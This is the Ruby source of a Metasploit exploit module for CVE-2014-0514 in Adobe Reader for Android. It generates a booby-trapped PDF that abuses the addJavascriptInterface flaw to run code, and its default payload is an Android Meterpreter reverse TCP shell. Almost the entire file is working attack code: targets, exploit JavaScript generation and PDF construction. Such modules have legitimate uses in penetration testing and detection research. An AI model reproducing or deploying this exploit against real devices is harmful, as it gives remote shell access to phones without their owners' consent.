require 'msf/core'
require 'msf/core/exploit/fileformat'
require 'msf/core/exploit/pdf'
require 'msf/core/exploit/android'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit:: FILEFORMAT
include Msf::Exploit:: PDF
include Msf::Exploit::Android
def initialize(info = {})
super (update_info(info,
'Name' => 'Adobe Reader for Android addJavascriptInterface Exploit' ,
'Description' => %q{
Adobe Reader versions less than 11 . 2 . 0 exposes insecure native
interfaces to untrusted javascript in a PDF . This module embeds the browser
exploit from android/webview_addjavascriptinterface into a PDF to get a
command shell on vulnerable versions of Reader.
},
'License' => MSF_LICENSE ,
'Author' => [
'Yorick Koster' ,
'joev'
],
'References' =>
[
[ 'CVE' , '2014-0514' ],
[ 'EDB' , '32884' ],
[ 'OSVDB' , '105781' ],
],
'Platform' => 'android' ,
'DefaultOptions' => {
'PAYLOAD' => 'android/meterpreter/reverse_tcp'
},
'Targets' => [
[ 'Android ARM' , {
'Platform' => 'android' ,
'Arch' => ARCH_ARMLE
}
],
[ 'Android MIPSLE' , {
'Platform' => 'android' ,
'Arch' => ARCH_MIPSLE
}
],
[ 'Android X86' , {
'Platform' => 'android' ,
'Arch' => ARCH_X86
}
]
],
'DisclosureDate' => 'Apr 13 2014' ,
'DefaultTarget' => 0
))
register_options([
OptString. new ( 'FILENAME' , [ true , 'The file name.' , 'msf.pdf' ]),
], self . class )
end
def exploit
print_status( "Generating Javascript exploit..." )
js = add_javascript_interface_exploit_js( ARCH_ARMLE )
print_status( "Creating PDF..." )
file_create(pdf(js))
end
def trailer(root_obj)
id = @xref .keys.max+ 1
"trailer" << eol << "<</Size %d/Root " % id << ioRef(root_obj) << ">>" << eol
end
def add_compressed(n, data)
add_object(n, Zlib::Inflate.inflate(Rex::Text.decode_base64(data)))
end
def pdf(js)
self .eol = "\x0d"
@xref = {}
@pdf = header( '1.6' )
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add_compressed( 40 , "eJzjtbHRd3HU0PdIzSlTMFAISQMS6Qqa+i5BQAnXvOT8lMy8dCAzwMXNJT8ZJqBgYgpUF2Rnp++Wn1cClPZIdcpXMLYECUKMMjEHs6MSXZIUTCwgikHKM1NzUoqjjcEisXZ2vADEuSJw" )
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add_compressed( 11 , "eJzjtbHRDy5IKXIsKgGy/PXDU5OcEwtKSotS7YCAFwCW+AmR" )
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js = Zlib::Deflate.deflate(js)
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@xref_offset = @pdf .length
@pdf << xref_table << trailer( 25 ) << startxref
@pdf
end
end
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